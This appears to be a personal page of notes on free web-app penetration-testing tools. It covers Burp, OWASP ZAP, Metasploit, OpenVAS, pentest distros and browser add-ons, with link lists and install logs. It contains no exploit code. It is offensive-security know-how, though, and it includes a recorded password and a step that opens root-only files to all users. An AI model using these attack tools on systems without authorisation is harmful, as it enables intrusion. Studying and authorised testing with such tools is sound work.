Big Tools / Frameworks
I'd like to use free tools. Many of the best tools have huge price-tags. The following tools are free unless indicated otherwise.
There are a zillion tools available, and many of them are GUIs or frameworks that call other tools. Many people have just written scripts or GUIs that duplicate other efforts and don't add much value. Some tools have multiple versions, with the really good functionality available only in the very expensive "Pro" version. Some tools were hot 10 years ago and haven't been maintained since then.
[From this point, everything assumes Linux as your test-driver machine.]
The main classes of big tools of interest for web-app testing (I think)
- Browser-proxy and app-logic GUIs.
- Vuln-scanners with exploits and payloads.
- Automated testing drivers.
Be careful about just running "try everything" in some big tool, or some script that calls lots of tools. You may hammer your target with lots of port-scanning and attack traffic and brute-forcing, causing alerts to go off at target and your ISP, maybe cause DOS at target, get yourself in trouble.
Browser-proxy and app-logic GUIs
- Look at the developer tools / debugger in your browser.
- Burp:
GUI app with intercepting-proxy, mainly does web-app testing.
Can import nmap scan output into it.
PortSwigger's "Burp Suite Editions"
Professional version costs €349 per year.
Free edition has the proxy and good traffic-recording and repeating and modification and parameter brute-forcing/fuzzing, but lacks the Scanner (which is a great module for trying classes of app vulns/exploits). Also, Free edition is throttled so it does iterations much slower.
ZeroSec's "Learning the Ropes 101: Burp Suite Intro"
InfoSec Institute's "Quick and Dirty BurpSuite Tutorial"
PortSwigger's "The Burp Methodology"
Jean Fleury's "Burp Suite For Beginners"
Bugcrowd University - Introduction to Burp Suite (video)
PortSwigger's "Burp Suite Support Center"
The Defalt's "Bypass File Upload Restrictions Using Burp Suite"
OccupyTheWeb's "How to Hack Web Apps, Part 3 (Web-Based Authentication)"
OccupyTheWeb's "How to Hack Web Apps, Part 4 (Hacking Form Authentication with Burp Suite)"
OccupyTheWeb's "How to Crack Online Web Form Passwords with THC-Hydra & Burp Suite"
Ryan Wendel's "Burp Suite Tips - Volume 1"
Articles in Hacking Articles' "Web Penetration Testing"
Yeah Hub's "19 Most Useful Plugins for Burp Suite"
Offensive Security by Automation's "Worthwhile BurpSuite Plugins"
Regala / burp-scope-monitor
Trust Foundry's "The Top 8 Burp Suite Extensions That I Use to Hack Web Sites"
HUNT Suite Proxy Extensions (indicates parameters where you should look manually for bugs)
Do Son's "HUNT Burp Suite Extension"
Ranjith's "HUNT = Burp Suite Pro/Free and OWASP ZAP Extensions"
PortSwigger's "Burp Collaborator"
integrity-sa / burpcollaborator-docker
Backslash Powered Scanner (Burp extension):
PortSwigger / backslash-powered-scanner
James Kettle's "Backslash Powered Scanning: hunting unknown vulnerability classes"
Get lists from danielmeissler / SecLists and fuzzdb-project / fuzzdb and plug them into the Intruder module.
Installed Burp Community Edition on my Mint 19.1 system, using
PortSwigger's "Getting started with Burp Suite":# Initial download is a 95 MB ".sh" script file ! sudo bash ./burpsuite_community_linux_v1_7_36.sh # says it's taking about 530 MB # installing into /opt/BurpSuiteCommunity # creating symlinks in /usr/local/bin # go to Start menu and find Burp Suite Community Edition # Get Welcome screen that says you can only do Temporary projects with this edition # Click through next screen, accepting default config values # Get to main screen - Temporary Project # Don't exit the app; keep it running while setting up the browser # in following steps: # In Firefox browser, go to Preferences / General / Network Settings. # Select Manual Proxy Configuration, HTTP Proxy 127.0.0.1, Port 8080, # and Use this proxy server for all protocols. # Click "Intercept is On" button in app to make # it change to "Intercept is off". # Install Burp's trusted root certificate in the browser, so the proxy can # generate a new cert for each SSL session/site it intercepts # https://support.portswigger.net/customer/portal/articles/1783075-installing-burp-s-ca-certificate-in-your-browser Go to http://burp/ in browser # Request should be intercepted by Burp application # See a page saying "Welcome to Burp Suite Community Edition." # If instead you get some domain-parking service, the proxy is not working. # Click on "CA Certificate" in upper-right of page. # Save certificate file to disk. # In Firefox browser, go to Preferences / Privacy & Security / # Certificates / View Certificates / Authorities # Click Import. Choose the file you saved to disk. # Check "Trust this authority to identify websites". # Normal browsing works with app running, proxy used, intercept off. # See "HTTP History" tab to look at all the traffic that went through. # Proxy works fine with Windscribe VPN running too. # Some web sites react strangely to this setting, turn it off: # In ZAP, go to Tools / Options / Local Proxy and turn off "Remove Unsupported Encodings" # I don't see anything for overall project management: OSINT, reporting, etc.
It's a good practice to set the Target - Scope before connecting to the proxy and the network. You don't want to hit anything unintentionlly.
To run Burp on your computer and have Wi-Fi from your phone go through Burp, you set your phone to use an HTTP proxy, with Server address set to your computer and Port number set to 8080 (as usual), and Burp's Proxy Listener set to "All Interfaces" instead of just "Loopback".
Later decided to remove Burp and concentrate on OWASP ZAP instead:sudo /opt/BurpSuiteCommunity/uninstall
- OWASP ZAP (zaproxy; Zed Attack Proxy):
GUI app with intercepting-proxy, mainly does web-app testing.
Has limited port-scanner; I think it can't import nmap output.
I don't see any connection to Metasploit.
Has some kind of Selenium component in it, so it can drive a browser and do AJAX spidering.
Uses dirbuster code in the "forced browsing" component to find pages or files that don't appear anywhere in the application pages.
Uses Wappalyzer.
Uses sqlmap core.
Has a CMS scanner.
OWASP ZAP
OWASP Zed Attack Proxy Project
HUNT Suite Proxy Extensions
zaproxy / zaproxy Wiki
reddit's /r/OWASP
OWASP ZAP User Group
zaproxy's "FAQmobile"
Kali Linux's "ZAP -- Most Used Web Vulnerability Scanner"
Devopedia's "OWASP ZAP"
zaproxy / zap-core-help (to run ZAP from CLI)
Grunny / zap-cli (to control ZAP from CLI)
Has a scripting language (Zest) based on JSON. Used to send bug-reproducing scripts to companies (if you wish), define scan-rules, more.
Understands concepts of:- Context: a set of URLs, usually representing one web-app.
- Session Management Method: how web sessions are handled by the server (cookie-based, HTTP authentication, query-param based, etc).
- Authentication Method: how a new session is established.
- User Management: relating users to authorization for operations.
And fields in that dialog can be filled in automatically after you login through the browser; select the HTTP request recorded and send it to dialog.
There are regex properties to tell app when a state is logged-in or logged-out.
Installed OWASP ZAP on my Mint 19.1 system:sudo sh -c "echo 'deb http://download.opensuse.org/repositories/home:/cabelo/xUbuntu_18.04/ /' > /etc/apt/sources.list.d/home:cabelo.list" wget -nv https://download.opensuse.org/repositories/home:cabelo/xUbuntu_18.04/Release.key -O Release.key sudo apt-key add - < Release.key sudo apt update sudo apt install owasp-zap # launch from CLI owasp-zap # In Firefox browser, go to Preferences / General / Network Settings. # Select Manual Proxy Configuration, HTTP Proxy localhost, Port 8080, # and Use this proxy server for all protocols. # In OWASP ZAP, go to Tools / Options / Dynamic SSL Certificates. # You should see a certificate's text in the big text pane. # Click on Save and save a ".cer" file to disk. # earlier, I created a profile called "testing" for Firefox, so run: firefox -P testing -no-remote # In Firefox browser, go to Preferences / Privacy & Security / # Certificates / View Certificates / Authorities # Click Import. Choose the file you saved to disk. # Check "Trust this authority" for everything.
Installed OWASP ZAP on my Kubuntu 20.10 system:flatpak install ZAP # Couldn't get it to work: Quick Start / Manual wouldn't launch any browser, # and I couldn't figure out how to set the cert and proxy in # any browser except Firefox. I don't want to use Firefox, since that's # my main browser. snap install --classic zaproxy # Same problems. # launch from GUI # update add-ons # go to Safe mode # Unable to change proxy settings inside any chromium-based browser # installed as snap or flatpak. # Firefox is installed as deb, but it's my main browser, don't want to mess with it. sudo apt install midori # In Midori browser, go to Hamburger / Preferences / Network. # Select HTTP Proxy Server, HTTP Proxy http://localhost, Port 8080. # In OWASP ZAP, go to Tools / Options / Dynamic SSL Certificates. # You should see a certificate's text in the big text pane. # Click on Save and save a ".cer" file to disk. # Use a chromium browser to save that certificate into the system store. # Settings / Privacy and security / Security / Manage certificates / Authorities / Import / All Files ...
Getting started:- Launch ZAP ("owasp-zap" on CLI, or through GUI). In upper-left corner, select Safe Mode.
- Launch the browser. Make sure it's using the ZAP proxy.
- Don't type an URL into ZAP's "Quick Start"
tab; ZAP would start crawling the site right away.
- Go to the browser and browse the target site a bit.
- Then go to ZAP and look in the Sites and History tabs.
- ZAP analyzes all the requests and responses
it records ("passive scanning"), and reports any potential issues in the Alerts tab.
Select a request in the Alerts tab, and see the request or response headers and data. Double-click on the request in the Alerts tab to get an explanation of the issue. - Set a limit on things by adding the specific target site to the "Default Context".
Delete any traffic to other sites out of the Sites tab.
- Each "Context" is supposed to represent a web-application.
- Once you've set the Context, you can change from "Safe" mode to "Protected" mode.
This will let you attack anything in the Context.
Safe == can't do anything dangerous
Protected == can do dangerous things only in Context/Scope,
Standard == can do anything to anything,
Attack == automatically attacks any new items that appear in Context/Scope.
- At the right end of the tabs list that starts with Alerts, click on the green "+" symbol.
Click on Spider, and click on New Scan.
It should spider only the site you specified, finding all the pages. Maybe click the Stop icon after it has spidered a dozen pages. Look at Alerts again. - If you have permission to attack the site, find Active Scan
and click New Scan. A dialog will appear to define the scope;
click Select and then Default Context (where you put the site).
Then start the scan. (Not sure what to do with Recurse)
It should scan only the site you specified, trying lots of parameters. Maybe click the Stop icon after it has done a few pages. Look at Alerts again. - When you get going on a real app, after manual browsing but before Active Scanning,
go to Tools / Options / Anti CSRF Tokens and add any
token names that might be custom. Also go to
Tools / Options / Active Scan and enable "Handle anti CSRF tokens".
Later un-installed OWASP ZAP:
Installed the weekly release of OWASP ZAP:# went into my testing profile of Firefox # deleted OWASP proxy out of list in FoxyProxy # deleted OWASP's CA certificate out of certificate store sudo apt remove owasp-zap cd ~ rm -fr .ZAP
If you launch ZAP and a new weekly release is available, ZAP will tell you about it, and give you a "Download" button. Download it, but don't launch it. Quit out of ZAP. Then:# downloaded weekly .zip file from https://github.com/zaproxy/zaproxy/wiki/Downloads extract from .zip to somewhere such as /usr/local/bin # create file /usr/local/bin/owasp-zap containing: #!/bin/bash cd /usr/local/bin/ZAP_D-2019-03-04 ./zap.sh chmod a+x # on that file # launch from CLI owasp-zap # earlier, I created a profile called "testing" for Firefox, so run: firefox -P testing -no-remote # In Firefox browser, go to Preferences / General / Network Settings. # Select Manual Proxy Configuration, HTTP Proxy localhost, Port 8080, # and Use this proxy server for all protocols. # In OWASP ZAP, go to Tools / Options / Dynamic SSL Certificates. # You should see a certificate's text in the big text pane. # Click on Save and save a ".cer" file to disk. # In Firefox browser, go to Preferences / Privacy & Security / # Certificates / View Certificates / Authorities # Click Import. Choose the file you saved to disk. # Check "Trust this authority" for everything. # the proxy threw some error, had to quit browser and ZAP and # then run again, all fine now # new HUD feature is annoying, in ZAP go to Tools / Options / HUD # to turn it off for now
sudo bash cd ~/.ZAP_D/plugin mv ZAP_WEEKLY_D-*.zip /usr/local/bin cd /usr/local/bin rm -fr ZAP_D-* unzip ZAP_WEEKLY_D-*.zip xed owasp-zap # and change it to point to the new tree rm ZAP_WEEKLY_D-*.zip
If menu items are greyed-out and you can't figure out how to edit a Request, check to make sure the mode is set to "Standard" or higher.
From someone on reddit 5/2022:
"There are certain challenges in portswigger labs that cannot be done using zap. For example, the host header injection won't work in zap due to the way zap programmed when resolving the url. SSRF labs as well because the server of the labs are not connected to the internet and only connected to the burp collaborator server."
Cyber Army's "Authenticated Scan using OWASP-ZAP"
- Caido:
Caido
- Vega Vulnerability Scanner:
Subgraph's "Vega Vulnerability Scanner"
TokyoNeon's "Scan Websites for Potential Vulnerabilities Using Vega in Kali Linux"
- Arachni:
Arachni / arachni
Mozes Cermak's "Scan Websites for Vulnerabilities with Arachni"
- Pappy:
Synex's "Pappy Proxy"
- SecApps Suite from Websecurify:
SecApps Suite
- mitmproxy:
mitmproxy
MobSF / httptools
- Telerik Fiddler:
Telerik Fiddler
- Pown CDB:
pownjs / pown-cdb
Web-driving engines
Non-GUI ways of driving web pages or accessing URLs:
- A few HTTP operations, no JavaScript:
- curl:
"curl PAGEURL"
"curl --head PAGEURL"
From curl docs: "We hide HTTP/2's binary nature and convert received HTTP/2 traffic to headers in HTTP 1.1 style."
"curl --head --http2 PAGEURL"
"curl --head --http3 PAGEURL"
- http:
"sudo dnf install httpie"
"http google.com"
"http --headers https://www.billdietrich.me/"
Apparently always does HTTP 1.1; no way to specify HTTP 2 or 3. - fetch:
- wget:
"wget --server-response billdietrich.me"
"wget --server-response --inet6-only billdietrich.me"
Apparently always does HTTP 1.1; no way to specify HTTP 2 or 3.
Linux Shell Tips article
- wget2:
Bobby Borisov article
https://gitlab.com/gnuwget/wget2
Supports HTTP 1.1 and 2.
- curl:
- A sequence of HTTP operations, with detailed control and visibility:
GUI or headless browser using a proxy, then:
- Burp with scripting:
- ZAP with scripting:
- Burp with scripting:
- A lot of HTTP operations, with varying parameters:
GUI or headless browser using a proxy, then:
- Burp with module:
- ZAP with module:
- Burp with module:
-
Non-GUI to complicated pages with lots of JavaScript:
Headless or text browser driven by something.
Browsers:
- Headless Firefox:
MDN's "Headless mode"
"About:profiles", create a profile, "firefox -P NEWPROFILENAME -headless"
- Headless Chrome:
hc
google-chrome --headless --disable-gpu --dump-dom https://somedomain/somepage
* * * * * su MYUSERNAME -c "DISPLAY=:0.0 /usr/bin/firefox -new-window x.com/iqms/packetloss/iqmspacket2.html";
Drivers:
- Selenium:
seleniumhq
Firefox:
MDN's "Automated testing with headless mode"
MDN's "Setting up Selenium in Node" (Firefox)
Chrome:
selenium-with-headless-chrome
- Headless Firefox:
- GUI to complicated pages with lots of JavaScript:
GUI browser with macro-engine extension.
- iMacros for Firefox:
Firefox browser extension.
Extension
But in free version: only macros saved as bookmarks can be saved/played; can't save data to a file.
- UI.Vision Kantu for Firefox:
Firefox browser extension.
Extension
Selenium IDE commands
But in Kantu 5.1.9 after doing an "open" command in a macro, I get "No ipc available for the playing commands tab".
Have to install XModules - Extension Modules for Kantu ?
On Linux, download ZIP file, extract files to a directory "XModules", then:
But that didn't fix the problem.sudo bash mv XModules /opt cd /opt/XModules chmod +x * bash ./1install.sh
Found that, after opening Kantu window, only first macro run will have the "open-IPC" problem. Just run the macro again and it works. Filed a bug report.
Kantu window stuck in foreground, in front of normal browser window, so can't get "Enter" to work. Filed a bug report.
You can create a bookmarklet to run a Kantu Macro:javascript:(function() {try {var evt = new CustomEvent('kantuRunMacro', {detail: {name: 'NAMEOFMACRO',from: 'bookmark',storageMode: 'browser',closeKantu: true} }); window.dispatchEvent(evt);} catch (e) {alert('Kantu Bookmarklet error: ' + e.toString());} })();
Empty tabs/windows:Weirdness with empty tabs/windows:
- You can run a macro from an empty tab when started from the Kantu extension.
The Kantu extension can load a new webpage by itself.
- You can not run a macro from an empty tab when started from a bookmark.
The reason is that these JavaScript "bookmarklets" need a "normal website" to work.
So on an empty tab or e. g. the Chrome settings page the bookmark fails to run and thus Kantu is never started.
- You can run a macro from an empty tab when started from the Kantu extension.
The Kantu extension can load a new webpage by itself.
- iMacros for Firefox:
Vuln-scanners with exploits and payloads
- Metasploit:
Text-UI app, framework of modules, heavily focused on exploits and payloads. A GUI front-end is available: Armitage.
Rapid7 Metasploit
There are Pro, Student, and Framework versions. Most features are in Pro version, which is VERY expensive (multiple thousands of $ per year). Other two versions are free.
Also Nexpose, which is a larger framework that integrates with Metasploit ? Not sure.
Very basic nmap-metasploit-meterpreter intro: The Cyber Mentor's "Pentesting for n00bs: Episode 1 - Legacy (hackthebox)" (video)
Ceos3c's "Hacking with Metasploit: Basic Commands"
Ceos3c's "Metasploit Workspaces - How to work with them"
Ceos3c's "Metasploit failed to connect to the Database: FIXED"
Ceos3c's "Information Gathering with Metasploit: Shodan"
DRD_'s "Use Metasploit's WMAP Module to Scan Web Applications for Common Vulnerabilities"
DRD_'s "Discover Open Ports Using Metasploit's Built-in Port Scanner"
DRD_'s "Exploit Shellshock on a Web Server Using Metasploit"
OccupyTheWeb's "Getting Started with Metasploit"
OccupyTheWeb's "Metasploit for the Aspiring Hacker, Part 1 (Primer & Overview)"
Gr3yC1oud's "Metasploit Tutorial : Set up ~ 1"
Offensive Security's "Metasploit Unleashed" (free online course)
SecurityTube's "Metasploit Framework Expert (SMFE) Course Material" (videos)
pentest_it's "How to add a module to Metasploit from Exploit-DB"
Threat Week's "Database Service Enumeration" (once you have DB login credentials)
From people on reddit:
"You need to download everything to add to it. Look up a null byte video or hak5 they go pretty in depth with how metasploit works and all the tools and extensions you need for it to run smoothly."
"Just because the tool says the web app is vulnerable doesn't mean it is per se. Lots of times the exploit runs but AV or firewall will kill the bind shell / rev shell whatever. Then we get that fun 'exploit completed but no session created' message."
- Armitage:
A front-end that provides a GUI and workflow and collaboration tools on top of Metasploit.
Armitage
Tightly integrated with Metasploit Framework, and requires it to run.
Can direct operations through nmap and Metasploit add-ons.
Raphael Mudge's "Tutorial: Hacking Linux with Armitage"
- DarkSpiritz:
M4cs / DarkSpiritz
- Sn1per:
Sn1per
- Tulpar:
tulpar
anilbaranyelken's "Tulpar - Python Web Application Vulnerability Scanner + Telnetlib"
- OpenVAS:
"OpenVAS is THE open source vulnerability scanner. OpenVAS started under the name of GNessUs, a fork of the previously open-source Nessus scanning tool (which costs you money now). OpenVAS is also under the GNU General Public License (GPL)."
from Ceos3c's "How to install OpenVAS on Kali Linux"
Also called "Greenbone Security Assistant" ?
OpenVAS
Launchpad: Mohammad Razavi's "openvas vulnerability scanner" (no way to file bugs there)
mikesplain / openvas-docker
Barrow's "Install OpenVAS for Broad Vulnerability Assessment"
Barrow's "Perform a Large-Scale Network Security Audit with OpenVAS's GSA"
Jon Masters' "Get OpenVas Working Properly in Kali"
Ceos3c's "Vulnerability Scanning With Metasploit" (how to run OpenVAS from inside Metasploit)
Greenbone Community Portal
reddit's /r/openvas
Tried to install OpenVAS9 non-Docker on my normal Mint 19.1 desktop,
mostly following Launchpad: Mohammad Razavi's "openvas vulnerability scanner":
Can't even figure out where to file bug reports about this.sudo add-apt-repository ppa:mrazavi/openvas sudo apt update #only on Kali: sudo apt dist-upgrade sudo apt install openvas9 # it installed Redis local database, which I removed earlier password a42db2d2-1351-4f46-b950-887f8383c79f # clumsily managed to hit ctrl-C while it was going, # had to do again, hope it's okay sudo apt install sqlite3 # next few steps download maybe 1 GB of scripts and signatures etc sudo greenbone-nvt-sync sudo greenbone-scapdata-sync sudo greenbone-certdata-sync # last two gave a couple of "xsltproc: not found" errors at the end sudo service openvas-scanner restart sudo service openvas-manager restart #sudo openvasmd --migrate #only for upgrade from an older version sudo openvasmd --rebuild --progress # gave "Rebuilding NVT cache... failed." # To enable pdf reports: sudo apt install texlive-latex-extra --no-install-recommends # but it got stuck on that, at 93% and 14% # failed on libpotrace0_1.14-2_amd64.deb # and texlive-pictures_2017.20180305-1_all.deb sudo apt install texlive-fonts-recommended --no-install-recommends # also complains about libpotrace0_1.14-2_amd64.deb # tried sudo apt install libpotrace0 same error sudo apt install libopenvas9-dev # For web interface for version 9, go to https://localhost:4000 Use "admin" as username and password. # Added security exception in browser, able to log in and see interface. Scans - Tasks - purple Task Wizard icon in upper-left. Selected address 192.168.0.1 Start Scan # "Internal error", "(Status code 500) Operation 'Run Wizard' failed". Turned off Windscribe VPN, no difference. Tried http://localhost:4000, doesn't work.
Tried to install OpenVAS9 Docker-version on my normal Mint 19.1 desktop,
mostly following mikesplain / openvas-docker:# get rid of some stuff from non-Docker attempt sudo apt remove openvas9 sudo rm /etc/apt/sources.list.d/mrazavi-openvas-bionic.list sudo apt update sudo apt install docker sudo service docker start # Fails. Rebooted, tried again, still fails. # Had to rip out and install Docker properly; # see Docker section of my Linux page # Got Docker working ! sudo docker run -d -p 443:443 --name openvas mikesplain/openvas # This defines and loads a container and starts it running. # It downloaded over 1.5 GB of stuff, then gave error # "ERRO[0413] error waiting for container: context canceled" # But the -d means "run in detached mode", and "ps -ax" shows # a bunch of openvas* processes running, waiting for a connection # from a client. "sudo docker top openvas" shows similar. # "sudo netstat -tulp" shows openvas listener on IPv6 but not IPv4. # "ip -c addr" shows a new "vethe*" network device. https://localhost:4000 admin / admin to log in # stop the container sudo docker stop openvas # start the container (no need to define and load it again) sudo docker start openvas # didn't have to do this: # edit /etc/default/openvas-gsa to add: ALLOW_HEADER_HOST=localhost # then reboot # To use OpenVAS Manager: # sudo docker run -d -p 443:443 -p 9390:9390 --name openvas mikesplain/openvas # check status sudo docker top openvas # to run bash inside the container sudo docker exec -it openvas bash # running the app through browser: Greenbone Security Assistant version 7.0.3 Scans - Tasks - purple Task Wizard icon in upper-left. Selected address 192.168.0.1 Start Scan # "Internal error", "(Status code 500) Operation 'Run Wizard' failed". Scans - Tasks - blue star icon in upper-left # Was able to create a scan task, but then get 503 error when I run it. # tried creating /etc/docker/daemon.json containing: { "dns": ["8.8.8.8", "8.8.4.4"] } # but it didn't help # Tried using Mint's System Monitor app to see how much RAM # Docker-OpenVAS was using, but it doesn't show up there ! # Log files are in /var/log/openvas # Seems the 503 error is caused by # "Failed to connect to scanner (/var/run/openvassd.sock)" # The /var/run/openvas* files all seem to be root-only. sudo chmod a+rw /var/run/openvas* # Same error # Decided OpenVAS is a lost cause sudo docker stop openvas sudo docker rmi mikesplain/openvas apt remove openvas apt remove openvas9 apt remove libopenvas9 apt remove libopenvas9-dev apt remove greenbone-security-assistant apt remove greenbone-security-assistant-common sudo rm -fr /etc/default/openvas-manager sudo rm -fr /etc/default/openvas-gsa sudo rm -fr /var/run/openvas* sudo rm -fr /var/lib/openvas sudo rm -fr /etc/openvas sudo rm -fr /usr/share/openvas sudo rm -fr /var/log/openvas
OpenVAS seems focused on port-scanning and applying exploits, nothing about managing the overall project or other phases such as OSINT. UI is web-based and felt clunky to me. A couple of times I ran into support channels that were abandoned; feels like it's not well-supported.
9/2019 from someone on reddit:
"Install docker and pull our openvas10 image. Instructions are on our github and docker hub. https://hub.docker.com/r/securecompliance/openvas"
- Nessus:
Costs $2200/year.
Tenable's "Nessus Professional"
OccupyTheWeb's "How to Scan for Vulnerabilities with Nessus"
- SPARTA:
Mostly for scanning and enumeration phases.
Can run nmap, Nikto, netcat, more, and integrate their results.
SPARTA
WonderHowTo's "Discover & Attack Services on Web Apps or Networks with Sparta "
- Vault:
abhisharma404 / vault
Automated testing drivers
Some of the big tools in the previous two sections (such as OWASP ZAP and Metasploit) have APIs and/or CLI interfaces and headless operation that let them be driven as testing engines.
- Selenium:
SeleniumHQ
Guru99's "Selenium Tutorial for Beginners"
Katalon Studio (runs on top of Selenium)
- Playwright:
Shantnu Tiwari article
- OWASP OWTF (Offensive Web Testing Framework):
An automated-testing driver; not interactive.
OWASP OWTF
owtf / owtf
Minion.
Pentesting / hacking distros and tool bundles
- Kali Linux:
A distro loaded with lots of already-installed pentesting tools. Not intended to be used as your normal daily-driver desktop distro.
Kali by Offensive Security
Takhion's "Install & Lock Down Kali Linux for Safe Desktop Use"
Distortion's "Top 10 Things to Do After Installing Kali Linux"
Kali Linux Tools Listing
Aleks Cudars' "Kali Linux Tools" (PDF)
Ceos3c's "Install Kali Linux on VirtualBox with Guest Additions 2018!"
Ceos3c's "Kali:the following signatures were invalid FIX"
Ceos3c's "Top Things to do after Installing Kali Linux in 2019!"
kali-anonsurf
Gr3yC1oud's "Metasploit Tutorial : Set up ~ 1"
reddit's /r/Kalilinux
- Katoolin:
Installs all the Kali tools on your distro.
LionSec / katoolin
Aaron Kili's "How to Auto Install All Kali Linux Tools Using 'Katoolin' on Debian/Ubuntu"
SK's "Install Kali Linux Tools Using Katoolin In Ubuntu 18.04 LTS"
FOSSBytes' "How To Install All Kali Linux Tools On Ubuntu Using 'Katoolin' Script?"
Or you could just install the exact tools you want, from the appropriate repositories or project homes.
- Penetration Testers Framework (PTF):
Another tool-installer.
trustedsec / ptf
- BlackArch:
TokyoNeon's "Exploring Kali Linux Alternatives: Set Up the Ultimate Beginner Arch Linux Hacking Distro with Manjaro & BlackArch"
- Parrot Security OS:
Parrot OS
Barrow's "Exploring Kali Linux Alternatives: How to Get Started with Parrot Security OS, a Modern Pentesting Distro"
Ceos3c's "How to install ParrotSec on VirtualBox"
anonsurf
Unlike Kali, Parrot has both "security" and "home" (daily desktop) versions.
- Pentoo:
Pentoo
- BlackBuntu:
BlackBuntu
- BackBox:
BackBox.org
- Samurai Web Testing Framework:
A VM image, supported on VirtualBox and VMWare, that has been pre-configured to function as a web pen-testing environment.
Samurai Web Testing Framework
- FLARE (FireEye Labs Advanced Reverse Engineering) VM:
A Windows-based VM image, with lots of tools.
fireeye / flare-vm
- Mobexler:
A VM image, based on Elementary OS, for pentesting of Android and iOS apps.
enciphers / Mobexler
Mobexler Usage Guide
My opinion at the moment:
"Number of things installed" does not equal "power". Better to install each tool yourself,
so you know something about how it works and what it's doing. And you're probably not going
to test all the areas covered by the Kali tools; maybe you'll test web apps, so the tools
for Wi-Fi cracking and password brute-forcing and malware reverse-engineering and
smartphone-exploitation and such are just distractions. I'm just installing
individual tools on Linux Mint and using them there.
From /u/subnetq1:
> So after messing around with Kali, then Kali Light and Black Arch,
> then Arch w/ Black Arch Repos, I was just curious. What are some
> major differences between the latter of the two, or is it just a
> matter of preference? I know there are some obvious differences:
> 1. Kali Light includes xfce, while Arch doesn't really include anything.
> 2. Kali uses apt, Arch uses pacman.
Metasploit is Metasploit whether you run on Arch or Kali, the package manager makes no difference. What you are really buying into when you decide 'black arch' or 'kali' is a set of default configurations, default packages, default desktop environments (all of which are changeable), and a specific support team (how fast will they update packages, and provide new releases, will they do this in a timely manner for your favorite packages?, how well integrated are the packages? Do they consistently work?)
All of this is why you might choose to use a distribution like Kali, or Black Arch, for pentesting. You can install Metasploit or most other common pentesting tools in Ubuntu. But they are not a priority, and may not be updated as frequently, or integration bugs fixed as fast as with Kali or Black Arch - these distributions have a commitment to supporting these packages as "mission essential" for the distribution.
> then Arch w/ Black Arch Repos, I was just curious. What are some
> major differences between the latter of the two, or is it just a
> matter of preference? I know there are some obvious differences:
> 1. Kali Light includes xfce, while Arch doesn't really include anything.
> 2. Kali uses apt, Arch uses pacman.
Metasploit is Metasploit whether you run on Arch or Kali, the package manager makes no difference. What you are really buying into when you decide 'black arch' or 'kali' is a set of default configurations, default packages, default desktop environments (all of which are changeable), and a specific support team (how fast will they update packages, and provide new releases, will they do this in a timely manner for your favorite packages?, how well integrated are the packages? Do they consistently work?)
All of this is why you might choose to use a distribution like Kali, or Black Arch, for pentesting. You can install Metasploit or most other common pentesting tools in Ubuntu. But they are not a priority, and may not be updated as frequently, or integration bugs fixed as fast as with Kali or Black Arch - these distributions have a commitment to supporting these packages as "mission essential" for the distribution.
Utilities
Browser
- Set up two profiles for your browser:
- Your normal browsing configuration, with lots of add-ons and no proxy.
- Your test-browsing configuration, with some testing add-ons and one or more proxies.
- Firefox:
Probably similar for Iceweasel.
How-To Geek's "How to Set Up and Use Multiple Profiles (User Accounts) in Firefox"
RadekK's "How to use Burp Suite with multiple profiles in Firefox"
- Good idea to make a backup of your default profile now.
"cd ~/.mozilla/firefox" and make a copy of whatever directory has a name ending in ".default".
To copy it to your home directory, do "cp -r *.default ~"
- There are two ways to set up and choose profiles:
- Type "about:profiles" in the address bar to manage profiles or choose a profile.
- Launch Firefox with command-line argument "-profilemanager".
- In the test-browsing profile:
- It will start up with NO add-ons and bookmarks, everything back to initial state.
- Maybe turn off telemetry back to Mozilla, any other settings you want.
- Have to re-install Burp proxy certificate, if you installed that in default profile.
- Install FoxyProxy add-on, and use it to define proxies.
- Install other Browser Add-ons.
- Normally, Firefox only uses one profile at a time, using it for all
instances of Firefox. To run two instances of Firefox using two different profiles,
launch second one with command-line arguments "-P PROFILENAME -no-remote".
Ubuntu tutorials' "Firefox for web developers"
Mozilla's "Firefox Quantum: Developer Edition"
- Good idea to make a backup of your default profile now.
"cd ~/.mozilla/firefox" and make a copy of whatever directory has a name ending in ".default".
To copy it to your home directory, do "cp -r *.default ~"
- OWASP Mantra:
Derived from Firefox.
Kali Linux's "OWASP Mantra -- Browser for Penetration Testers"
- Chrome:
Tapas Adhikary's "DevTools - My Favorite Tips and Tricks"
Browser Add-ons
- FoxyProxy: easily switch among proxy settings.
To stop Mozilla/Firefox/Google traffic from showing up in Burp (or similar for ZAP):
liamosaur / foxyproxy.json and set FoxyProxy to "Use Enabled Proxies By Patterns and Priority".
- Reload Skip Cache Button (by Button Guy):
reload current page without using the browser cache.
Green circular-arrow icon in toolbar to open it. - d3coder: encode and decode selected text.
Chrome only. - Cryptext (by cscarpa): encode and decode selected text.
Green "C" icon in toolbar to open it. To copy/paste text, you have to right-click and use context menu, you can't ctrl-C/ctrl-V, as soon as you hit ctrl the window closes. And as soon as you go to browser's address bar, the Cryptext window closes and you've lost anything in there.
Better to use Code Beautify web site. - BuiltWith: see what technologies a web site uses.
Green "bw" icon in toolbar to open it. Getting 1 "details" listing per day is free; getting 5 requires a free account; more than that costs $144/year. But the simpler free "tech" listing seems sufficient. But it doesn't list frameworks such as AngularJS or Angular. - Wappalyzer: see what technologies a web site uses.
Purple (usually) icon in address bar to open it, or you can have the icon change with each web site's technology. Also has a telemetry preference you should turn off, probably. - What CMS Is This: see what CMS a web site uses.
Blue "W" icon in toolbar to open it. Failed to find CMS on any site I tried, while BuiltWith reported several CDNs. It does detect references to GitHub. - HackBar (v2, by Khoiasd): performs encryption,
encoding, decryption, POST data manipulation, inject code generation, more, on HTTP requests.
But doesn't show HTTP responses. Shows up as an icon in the browser's debugger (Firefox shift-F5). - HackBar Quantum (by DLS): same as HackBar by Khoiasd, plus some
payloads and auto-pwns.
UI less convenient. Green globe icon in toolbar or F9 to open it. - Tamper Data (for FF Quantum, by Pamblam): manipulate GET and POST requests.
Blue cloud icon in toolbar to open it. Can't figure out how to use it: my HTTP requests hang, never go out or get a response or something. - Tamper Dev (for chromium): manipulate GET and POST requests.
Tamper Dev
- HTTP request maker (by stefano): manipulate requests.
Ctrl+Shift+Y to open, but in Firefox that combination means "open Download history window". - HTTP Header Live (by Martin Antrag): manipulate requests.
Blue hexagon icon in toolbar to open it. Awkward: it shows activity by all tabs in one stream. - WebSecurify: capable of finding XSS, XSRF, CSRF, SQL Injection, File upload, URL redirection, more.
- XSS Me:
- XSS chef: connects to the XSS Chef framework, installed separately.
- XSS Rays:
beefproject / beef / Xss Rays
- SQL Inject Me:
- HPP Finder:
- SPAudit
Chrome-only.
